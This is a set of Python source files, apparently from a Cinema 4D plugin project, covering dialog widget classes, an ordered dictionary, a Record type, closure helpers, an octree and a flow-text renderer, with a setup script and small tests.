self._listeners.setdefault(name, []).append(func)
return func
if func is not None:
decorator(func)
return None
else:
return decorator
def send_event(self, __name, *args, **kwargs):
"""
Sends an event to all listeners listening to that event. If any listener
returns a value evaluating to #True, the event is no longer propagated
to any other listeners and #True will be returned. If no listener returns
#True, #False is returned from this function.
A listener may return a generator object in which case the first yielded
value is used as the True/False response. The initiator of the event may
query the generator a second time (usually resulting in #StopIteration).
Returns an #AwaitingListeners object and the result value.
"""
awaiting_listeners = AwaitingListeners()
result = False
for listener in self._listeners.get(__name, []):
obj = listener(*args, **kwargs)
if isinstance(obj, types.GeneratorType):
awaiting_listeners.append(obj)
obj = next(obj)
if obj:
result = True
break
return awaiting_listeners, result
def save_state(self):
"""
Save the state and value of the widget so it can be restored in the
same way the next time the widget is rendered.
"""
pass
def on_render_begin(self):
"""
This method is called on all widgets that are about to be rendered.
"""
# We don't flush already allocated IDs, but we want to be able to
# re-use them.
self._free_id_offset = 0
# Also flush the named IDs mapping.
self._named_ids.clear()
@abc.abstractmethod
def render(self, dialog):
"""
Called to render the widget into the #c4d.gui.GeDialog. Widgets that
encompass multiple Cinema 4D dialog elements should enclose them in
their own group, unless explicitly documented for the widget.
Not doing so can mess up layouts in groups that have more than one
column and/or row.
# Example
```python
def render(self, dialog):
id = self.alloc_id(name='edit_field')
dialog.AddEditNumberArrows(id, c4d.BFH_SCALEFIT)
```
"""
pass
def init_values(self, dialog):
pass
def command_event(self, id, bc):
"""
Called when a Command-event is received. Returns #True to mark the
event has being handled and avoid further progression.
"""
pass
def input_event(self, bc):
"""
Called when an Input-event is received. Returns #True to mark the
event has being handled and avoid further progression.
"""
pass
def layout_changed(self):
"""
Should be called after a widget changed its properties. The default
implementation will simply call the parent's #layout_changed() method,
if there is a parent. The #WidgetManager will also be notified. At the
next possible chance, the widget will be re-rendered (usually requiring
a re-rendering of the whole parent group).
"""
manager = self.manager
if manager is not None:
manager.layout_changed()
parent = self.parent
if parent is not None:
parent.layout_changed()
def update_state(self, dialog):
"""
This function is called from #update() by default. It should perform a
non-recursive update of the dialog. The default implementation updates
the enabled and visibility state of the allocated widget IDs.
"""
changed = False
parent = self.parent
parent_id = parent.get_named_id('group', None) if isinstance(parent, Group) else None
awaiting_listeners = AwaitingListeners()
if self._enabled_temp != self._enabled:
awaiting_listeners = self.send_event('enabling-changed', self)[0]
changed = True
self._enabled = self._enabled_temp
for v in self._allocated_ids:
dialog.Enable(v, self._enabled)
if self._visible_temp != self._visible:
awaiting_listeners = self.send_event('visibility-changed', self)[0]
changed = True
self._visible = self._visible_temp
for v in self._allocated_ids:
dialog.HideElement(v, not self._visible)
if parent_id is None: # Notify the elements themselves
dialog.queue_layout_changed(v)
if changed and parent_id is not None:
dialog.queue_layout_changed(parent_id)
if awaiting_listeners:
dialog.widgets.queue(next, awaiting_listeners)
def update(self, dialog):
"""
Called to update the visual of the element. Groups will use this to
re-render their contents when their layout has changed.
"""
self.update_state(dialog)
class BaseGroupWidget(BaseWidget):
def __init__(self, id=None):
BaseWidget.__init__(self, id)
self._children = []
self._forward_events = set(['enabling-changed', 'visibility-changed'])
@property
def children(self):
return self._children
def pack(self, widget):
"""
Adds a child widget.
"""
if not isinstance(widget, BaseWidget):
raise TypeError('expected BaseWidget')
widget.remove()
widget.parent = self
widget.manager = self.manager
self._children.append(widget)
self.layout_changed()
def flush_children(self):
"""
Removes all children.
"""
for child in self._children[:]:
assert child.parent is self, (child, parent)
child.remove()
assert len(self._children) == 0
# BaseWidget overrides
@BaseWidget.manager.setter
def manager(self, manager):
# Propagate the new manager to child widgets.
for child in self._children:
child.manager = manager
BaseWidget.manager.__set__(self, manager)
def on_render_begin(self):
BaseWidget.on_render_begin(self)
for child in self._children:
child.on_render_begin()
def render(self, dialog):
for child in self._children:
child.render(dialog)
def init_values(self, dialog):
for child in self._children:
child.init_values(dialog)
def command_event(self, id, bc):
for child in self._children:
if child.command_event(id, bc):
return True
return False
def input_event(self, bc):
for child in self._children:
if child.input_event(bc):
return True
return False
def update(self, dialog):
BaseWidget.update(self, dialog)
for child in self._children:
child.update(dialog)
def save_state(self):
for child in self._children:
child.save_state()
def send_event(self, __name, *args, **kwargs):
awaiting_listeners, result = super(BaseGroupWidget, self).send_event(
__name, *args, **kwargs)
if __name in self._forward_events:
for child in self._children:
awaiting_listeners += child.send_event(__name, *args, **kwargs)[0]
return awaiting_listeners, result
from .widgets import Group
<file_sep>/lib/nr.types/setup.py
import io
import setuptools
with io.open('README.md', encoding='utf8') as fp:
readme = fp.read()
with io.open('requirements.txt') as fp:
requirements = fp.readlines()
setuptools.setup(
name = 'nr.types',
version = '1.0.5',
author = '<NAME>',
author_email = '<EMAIL>',
description = 'Anything related to Python datatypes.',
long_description = readme,
long_description_content_type = 'text/markdown',
url = 'https://gitlab.niklasrosenstein.com/NiklasRosenstein/python/nr.types',
license = 'MIT',
packages = setuptools.find_packages('src'),
package_dir = {'': 'src'},
install_requires = requirements
)
<file_sep>/lib/nr.types/tests/test_named.py
from nose.tools import *
from nr.types.named import Named
def test_has_initializer_member():
assert hasattr(Named, 'Initializer')
class Person(Named):
pass
assert not hasattr(Person, 'Initializer')
<file_sep>/lib/nr.types/src/nr/types/_ordereddict.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
class OrderedDict(object):
"""
This class implements a dictionary that can treat non-hashable
datatypes as keys. It is implemented as a list of key/value pairs,
thus it is very slow compared to a traditional hash-based dictionary.
Access times are:
==== ======= =====
Best Average Worst
==== ======= =====
O(1) O(n) O(n)
==== ======= =====
"""
def __init__(self, iterable=None):
super(OrderedDict, self).__init__()
if isinstance(iterable, OrderedDict):
self.__items = iterable.__items[:]
elif iterable is not None:
iterable = dict(iterable)
self.__items = iterable.items()
else:
self.__items = []
__hash__ = None
def __contains__(self, key):
for item in self.__items:
if item[0] == key:
return True
return False
def __eq__(self, other):
if other is self:
return True
return other == self.asdict()
def __ne__(self, other):
return not self == other
def __len__(self):
return len(self.__items)
def __str__(self):
items = ('{0!r}: {1!r}'.format(k, v) for k, v in self.__items)
return '{' + ', '.join(items) + '}'
__repr__ = __str__
def __iter__(self):
for item in self.__items:
yield item[0]
def __getitem__(self, key):
for item in self.__items:
if item[0] == key:
return item[1]
raise KeyError(key)
def __setitem__(self, key, value):
for item in self.__items:
if item[0] == key:
item[1] = value
return
self.__items.append([key, value])
def __delitem__(self, key):
for index, item in enumerate(self.__items):
if item[0] == key:
break
else:
raise KeyError(key)
del self.__items[index]
def iterkeys(self):
for item in self.__items:
yield item[0]
def itervalues(self):
for item in self.__items:
yield item[1]
def iteritems(self):
for item in self.__items:
yield (item[0], item[1])
def keys(self):
return list(self.iterkeys())
def values(self):
return list(self.itervalues())
def items(self):
return list(self.iteritems())
def get(self, key, default=None):
try:
return self[key]
except KeyError:
return default
def pop(self, key, default=NotImplementedError):
for item in self.__items:
if item[0] == key:
break
else:
if default is NotImplementedError:
raise KeyError(key)
return default
return key[1]
def popitem(self, last=True):
if last:
return tuple(self.__items.pop())
else:
return tuple(self.__items.pop(0))
def setdefault(self, key, value=None):
for item in self.__items:
if item[0] == key:
return item[1]
self.__items.append([key, value])
return value
def update(self, __data__=None, **kwargs):
if __data__ is not None:
data = dict(data)
for key, value in data.iteritems():
self[key] = value
for key, value in kwargs.iteritems():
self[key] = value
def clear(self):
self.__items[:] = []
def copy(self):
return OrderedDict(self)
has_key = __contains__
def update(self, mapping):
for key, value in mapping.iteritems():
self[key] = value
def sort(self, cmp=None, key=None, reverse=False):
if key is None:
key = lambda x: x[0]
self.__items.sort(key=key)
<file_sep>/lib/nr.types/src/nr/types/record.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
class Record(object):
"""
This class can be considered a new base for all classes that implement
the `__slots__` interface. It provides convenient methods to treat the
class instances like mutable versions of #:collections.namedtuple.
# Example
```python
class MyRecord(Record):
__slots__ = 'foo bar ham egg'.split()
__defaults__ = {'egg': 'yummy'}
# or
MyRecord = Record.new('MyRecord', 'foo bar ham', egg='yummy')
data = MyRecord('the-foo', 42, ham="spam")
assert data.egg = 'yummy'
```
"""
def __init__(self, *args, **kwargs):
defaults = getattr(self, '__defaults__', None) or {}
if len(args) > len(self.__slots__):
msg = '__init__() takes {0} positional arguments but {1} were given'
raise TypeError(msg.format(len(self.__slots__), len(args)))
for key, arg in zip(self.__slots__, args):
if key in kwargs:
msg = 'multiple values for argument {0!r}'.format(key)
raise TypeError(msg)
kwargs[key] = arg
for key, arg in kwargs.items():
setattr(self, key, arg)
for key in self.__slots__:
if key not in kwargs:
if key in defaults:
setattr(self, key, defaults[key])
else:
raise TypeError('missing argument {0!r}'.format(key))
else:
kwargs.pop(key)
if kwargs:
msg = '__init__() got an unexpected keyword argument {0!r}'
raise TypeError(msg.format(next(iter(kwargs))))
def __repr__(self):
parts = ['{0}={1!r}'.format(k, v) for k, v in self.items()]
return '{0}('.format(type(self).__name__) + ', '.join(parts) + ')'
def __iter__(self):
"""
Iterate over the values of the record in order.
"""
for key in self.__slots__:
yield getattr(self, key)
def __len__(self):
"""
Returns the number of slots in the record.
"""
return len(self.__slots__)
def __getitem__(self, index_or_key):
"""
Read the value of a slot by its index or name.
:param index_or_key:
:raise TypeError:
:raise IndexError:
:raise KeyError:
"""
if isinstance(index_or_key, int):
return getattr(self, self.__slots__[index_or_key])
elif isinstance(index_or_key, str):
if index_or_key not in self.__slots__:
raise KeyError(index_or_key)
return getattr(self, index_or_key)
else:
raise TypeError('expected int or str')
def __setitem__(self, index_or_key, value):
"""
Set the value of a slot by its index or name.
:param index_or_key:
:raise TypeError:
:raise IndexError:
:raise KeyError:
"""
if isinstance(index_or_key, int):
setattr(self, self.__slots__[index_or_key], value)
elif isinstance(index_or_key, str):
if index_or_key not in self.__slots__:
raise KeyError(index_or_key)
setattr(self, index_or_key, value)
else:
raise TypeError('expected int or str')
def __eq__(self, other):
for key in self.__slots__:
try:
other_value = getattr(other, key)
except AttributeError:
return False
if getattr(self, key) != other_value:
return False
return True
def __setattr__(self, name, value):
if name in self.__slots__:
setter = getattr(self, '_set_' + name, None)
if callable(setter):
setter(value)
return
super(Record, self).__setattr__(name, value)
def __getattribute__(self, name):
if name != '__slots__' and name in self.__slots__:
getter = getattr(self, '_get_' + name, None)
if callable(getter):
return getter()
return super(Record, self).__getattribute__(name)
def items(self):
"""
Iterator for the key-value pairs of the record.
"""
for key in self.__slots__:
yield key, getattr(self, key)
def keys(self):
"""
Iterator for the member names of the record.
"""
return iter(self.__slots__)
def values(self):
"""
Iterator for the values of the object, like :meth:`__iter__`.
"""
for key in self.__slots__:
yield getattr(self, key)
def _asdict(self):
return dict((k, getattr(self, k)) for k in self.__slots__)
@classmethod
def new(cls, __name, __fields, **defaults):
'''
Creates a new class that can represent a record with the
specified *fields*. This is equal to a mutable namedtuple.
The returned class also supports keyword arguments in its
constructor.
:param __name: The name of the Record.
:param __fields: A string or list of field names.
:param defaults: Default values for fields. The defaults
may list field names that haven't been listed in *fields*.
'''
name = __name
fields = __fields
fieldset = set(fields)
if isinstance(fields, str):
if ',' in fields:
fields = fields.split(',')
else:
fields = fields.split()
else:
fields = list(fields)
for key in defaults.keys():
if key not in fields:
fields.append(key)
class _record(cls):
__slots__ = fields
__defaults__ = defaults
_record.__name__ = name
return _record
<file_sep>/lib/nr.types/src/nr/types/function.py
# coding: utf8
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
This module contains tools for modifying function objects and anything else
related to the Python function type like artificial function closure creation.
"""
__all__ = ['new_closure_cell', 'new_closure', 'replace_closure']
import collections
import functools
import types
def new_closure_cell(x):
"""
Creates a new Python cell object that can usually be found in a functions
`__closure__` tuple. The values in a `__closure__` must match the free
variables defined in the function's code object's `co_freevars` member.
x (any): The cell contents.
return (cell): A function closure cell object containing *x*.
"""
return (lambda: x).__closure__[0]
def new_closure(cell_values):
"""
Creates a function closure from the specified list/iterable of value. The
returned object is a tuple of cell objects created with #new_closure_cell().
cell_values (iterable): An iterable of cell values.
return (tuple of cell): A tuple containing only cell objects.
"""
return tuple(map(new_closure_cell, cell_values))
def replace(function, code=None, globals=None, name=None,
argdefs=None, closure=None):
"""
Creates a new function object from the reference *function* where its
members can be replaced using the specified arguments.
# Closure
If *closure* is a dictionary, only the free variables expected by the
function are read from it. If a variable is not defined in the dictionary,
its value will not be changed.
If *closure* is a list/iterable instead it must have exactly as many
elements as free variables required by the function's code object. If
this condition is not satisfied, a #ValueError is raised.
function (types.FunctionType): A function object.
code (code): The functions new code object.
globals (dict):
"""
if not isinstance(function, types.FunctionType):
raise TypeError('expected FunctionType, got {}'.format(
type(function).__name__))
if code is None:
code = function.__code__
if globals is None:
globals = function.__globals__
if name is None:
name = function.__name__
if argdefs is None:
argdefs = function.__defaults__
if closure is None:
closure = function.__closure__
else:
if isinstance(closure, collections.Mapping):
closure = [
closure.get(x, function.__closure__[i].cell_contents)
for i, x in enumerate(function.__code__.co_freevars)]
closure = new_closure(closure)
if len(closure) != len(function.__code__.co_freevars):
raise ValueError('function requires {} free closure, only '
'{} values are specified'.format(
len(function.__code__.co_freevars),
len(closure)))
new_func = types.FunctionType(code, globals, name, argdefs, closure)
functools.update_wrapper(new_func, function)
return new_func
<file_sep>/c4d_prototype_converter/c4dutils.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import collections
import c4d
try: from cStringIO import StringIO
except ImportError: from StringIO import StringIO
def unicode_refreplace(ustring):
'''
Replaces all non-ASCII characters in the supplied unicode string with
Cinema 4D stringtable unicode escape sequences. Returns a binary string.
'''
if not isinstance(ustring, unicode):
ustring = ustring.decode('utf8')
fp = StringIO()
for char in ustring:
try:
if char in '\n\r\t\b':
raise UnicodeEncodeError
char = char.encode('ascii')
except UnicodeEncodeError:
char = '\\u' + ('%04x' % ord(char)).upper()
fp.write(char)
return fp.getvalue()
def get_subcontainer(bc, sub_id, create=False):
if not has_subcontainer(bc, sub_id) and create:
bc.SetContainer(sub_id, c4d.BaseContainer())
assert has_subcontainer(bc, sub_id)
return bc.GetContainerInstance(sub_id)
def has_subcontainer(bc, sub_id):
return bc.GetType(sub_id) == c4d.DA_CONTAINER
<file_sep>/lib/nr.c4d/src/nr/c4d/octree.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
''' Experimental octree implementation in Python. '''
import abc
import c4d
import weakref
from .aabb import AABB
def vector_variants(v):
''' Yields all variants of the :class:`c4d.Vector` *v*, that is,
all possible combinations of positive and negative sign for all
three components. '''
V = c4d.Vector
yield V(+v.x, +v.y, +v.z)
yield V(+v.x, +v.y, -v.z)
yield V(+v.x, -v.y, +v.z)
yield V(+v.x, -v.y, -v.z)
yield V(-v.x, +v.y, +v.z)
yield V(-v.x, +v.y, -v.z)
yield V(-v.x, -v.y, +v.z)
yield V(-v.x, -v.y, -v.z)
def box_box_intersect(m1, s1, m2, s2):
''' Checks if the AABB (axis-aligned bounding-box) defined by *m1*
and *s1* intersects with the AABB of *m2* and *s2*. The position
must be the middle point of the box, the size defined the radius of
the box from its middle point. '''
m1p = m1 + s1
m2n = m2 - s2
if m1p.x < m2n.x:
return False
if m1p.y < m2n.y:
return False
if m1p.z < m2n.z:
return False
m1n = m1 - s1
m2p = m2 + s2
if m2p.x < m1n.x:
return False
if m2p.y < m1n.y:
return False
if m2p.z < m1n.z:
return False
return True
def box_box_contains(m1, s1, m2, s2):
''' Returns True if the box spanned by *m1* and *s1* contains the
box spanned by *m2* and *s2* completely. '''
m1p = m1 + s1
m2p = m2 + s2
if m2p.x > m1p.x:
return False
if m2p.y > m1p.y:
return False
if m2p.z > m1p.z:
return False
m1n = m1 - s1
m2n = m2 - s2
if m2n.x < m1n.x:
return False
if m2n.y < m1n.y:
return False
if m2n.z < m1n.z:
return False
return True
def box_point_contains(p, m, s):
''' Checks if the point *v* is located inside the box defined
by *m* and *s*. Returns True if it is, False if not. '''
mp = m + s
if mp.x < v.x:
return False
if mp.y < v.y:
return False
if mp.z < v.z:
return False
mn = m - s
if v.x < mn.x:
return False
if v.y < mn.y:
return False
if v.z < mn.z:
return False
return True
class OcItem(object):
def __init__(self, data, position, size):
super(OcItem, self).__init__()
self.data = data
self.position = position
self.size = size
self.containers = []
def __call__(self):
return self.data
def leaf_containers(self):
''' Iterator for all containers that are leaf nodes. '''
for node in self.containers:
node = node()
if node.is_leaf:
yield node
def neighbours(self):
''' Iterates over all items that are contained in the same
leaf containers of this node. '''
for node in self.leaf_containers():
for item in node.data:
if item is not self:
yield item
class OcInterface(object):
''' Interface for reading size and position of data in the Octree. '''
@abc.abstractmethod
def get_metrics(self, item):
pass
class OcObjectImpl(OcInterface):
def __init__(self, translation=None):
super(OcObjectImpl, self).__init__()
self.translation = c4d.Matrix(translation) if translation else c4d.Matrix()
def get_metrics(self, obj):
mat = self.translation * obj.GetMg()
rad = obj.GetRad()
bb = AABB()
for v in vector_variants(rad):
bb.add(v * mat)
return bb.midp, bb.size
class OcNode(object):
''' Represents a node in an Octree.
.. attribute:: tree
A weak reference to the root node of the tree.
.. attribute:: parent
A weak-reference to the parent node.
.. attribute:: position
The position of the node in 3D space.
.. attribute:: size
The size of the node in all-positive direction.
.. attribute:: data
A list of :class:`OcItem` instances.
.. attribute:: children
A list of children. None if the OcNode is a leaf node.
'''
def __init__(self, tree, parent, position, size, depth):
super(OcNode, self).__init__()
self.tree = weakref.ref(tree)
self.parent = weakref.ref(parent) if parent is not None else None
self.position = c4d.Vector(position)
self.size = c4d.Vector(size)
self.data = []
self.depth = depth
self.children = None
@property
def is_leaf(self):
return not self.children
def append(self, obj):
''' Appends *obj* to this OcNode and eventually to its child
nodes. This might not work if the node can not contain the
*obj*. This method must be called at the root node of the tree.
:param obj: The obj to add.
:raise RuntimeError: If this method is not called on
the root node of the tree.
:return: True if the obj was added, False if not. '''
if self.parent:
raise RuntimeError('must be called in the root node')
item = OcItem(obj, *self.tree().impl.get_metrics(obj))
return self.append_item(item)
def append_item(self, item):
''' Appends *item* to this OcNode and eventually to its child
nodes. This might not work if the node can not contain the
*item* or if the node is completely contained inside the
:param item: The item to add.
:return: True if the item was added, False if not. '''
# If the box of the item does not intersect with the box
# of this node, it won't be added to this node.
if not box_box_intersect(
self.position, self.size, item.position, item.size):
return False
# Also, if the node is completely contained in the box of
# the item, it won't be added either. It must be handled
# by a parent node instead.
if box_box_contains(
item.position, item.size, self.position, self.size):
return False
# Subdivide the node if it isn't already.
do_subdivide = self.is_leaf
do_subdivide &= len(self.data) >= self.tree().max_capacity
do_subdivide &= self.depth < self.tree().max_depth
if do_subdivide:
self.subdivide()
# Add the item to the entries.
self.data.append(item)
item.containers.append(weakref.ref(self))
# Forward to the child nodes.
if self.children:
for child in self.children:
child.append_item(item)
return True
def subdivide(self):
''' Subdivides the OcNode into 8 equally sized child nodes.
This is done automatically when the maximum capacity of a
node is reached by appending to it. '''
if self.children:
raise RuntimeError('node already subdivided')
V = c4d.Vector
tree = self.tree()
pos = self.position
halfsize = self.size ^ c4d.Vector(0.5)
self.children = []
for variant in vector_variants(halfsize):
child = OcNode(tree, self, pos + variant, halfsize, self.depth + 1)
for item in self.data:
child.append_item(item)
self.children.append(child)
class OcTree(OcNode):
''' Represents the full Octree. Note that elements that are large
enough to fully contain the root node can not be added to it. '''
def __init__(self, max_capacity, max_depth, position, size, impl):
super(OcTree, self).__init__(self, None, position, size, 0)
self.impl = impl
self.max_capacity = int(max_capacity)
self.max_depth = int(max_depth)
assert self.max_capacity > 1
<file_sep>/lib/nr.types/tests/test_record.py
# Copyright (c) 2016 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from nr.types import Record
from nose.tools import *
def test_class_style():
class MyRecord(Record):
__slots__ = 'foo bar ham egg'.split()
__defaults__ = {'egg': 'yummy'}
_test_record(MyRecord)
def test_function_style():
MyRecord = Record.new('MyRecord', 'foo bar ham', egg='yummy')
_test_record(MyRecord)
def _test_record(MyRecord):
data = MyRecord('the-foo', 42, ham="spam")
assert_equals(data.foo, 'the-foo')
assert_equals(data.bar, 42)
assert_equals(data.ham, 'spam')
assert_equals(data.egg, 'yummy')
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/views/flowtext.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
import bs4
import collections
import c4d
import re
Margin = collections.namedtuple('Margin', 'left top right bottom')
class FlowtextView(c4d.gui.GeUserArea):
"""
A GeUserArea that can render flow-text. Unlike Cinema 4D's static text
widgets, it adds line-breaks and supports a very simple form of HTML markup
(supporting h1, b, i, code and br tags).
Note that using the #FlowtextView requires the `bs4` module installed.
"""
# TODO: Maybe switch to using a GeClipMap? It supports italic fonts.
class _Word(object):
__slots__ = ('t', 'f', 'x', 'y', 'w', 'h')
def __init__(self, **kwargs):
for key, value in kwargs.iteritems():
setattr(self, key, value)
def __init__(self, markup, min_width=100, ralign=False, margin=(2, 1, 2, 1),
bgcol=c4d.COLOR_BG, fgcol=c4d.COLOR_TEXT):
c4d.gui.GeUserArea.__init__(self)
self._tree = bs4.BeautifulSoup(markup, "html.parser")
self._words = [[]]
for node in self._tree.contents:
if node.name == u'h1':
font = c4d.FONT_BOLD
elif node.name == u'b':
font = c4d.FONT_BOLD
elif node.name == u'i':
font = c4d.FONT_DEFAULT # TODO: Italic font?
elif node.name == u'code':
font = c4d.FONT_MONOSPACED
elif node.name == u'br':
self._words.append([])
continue
else:
font = c4d.FONT_DEFAULT
for word in re.split('\s+', node.string):
self._words[-1].append(self._Word(t=word, f=font, x=0, y=0, w=0, h=0))
if node.name == u'h1':
self._words.append([])
if not self._words[-1]:
self._words.pop()
self._min_width = min_width
self._ralign = ralign
self._layout = None
self._last_width = None
self._last_minsize = None
self._bgcol = bgcol
self._fgcol = fgcol
self._margin = Margin(*margin)
def GetMinSize(self):
width = self.GetWidth()
if width == 0:
# Catching some misfortunate events that would cause flickering.
return (0, 0)
if width == self._last_width:
# Catch when GetMinSize() is called multiple times while the area's
# size has not changed.
return self._last_minsize
self._last_width = width
if width < self._min_width:
width = self._min_width
xoff, yoff = self._margin.left, self._margin.top
font = None
self._layout = [[]]
for line in self._words:
for word in line:
if font != word.f:
font = word.f
self.DrawSetFont(word.f)
word.x = xoff
word.y = yoff
word.w = self.DrawGetTextWidth(word.t)
word.h = self.DrawGetFontHeight()
if word.x + word.w > width:
word.y += word.h
word.x = self._margin.left
self._layout.append([])
yoff = word.y
xoff = word.x + word.w + self.DrawGetTextWidth(' ')
self._layout[-1].append(word)
xoff = self._margin.left
yoff += self.DrawGetFontHeight()
self._layout.append([])
if self._ralign:
for line in self._layout:
if not line: continue
right_border = line[-1].x + line[-1].w
space_left = (width - right_border)
for i, word in enumerate(line):
word.x += space_left
self._last_minsize = self._min_width + self._margin.right, yoff + self._margin.bottom
return self._last_minsize
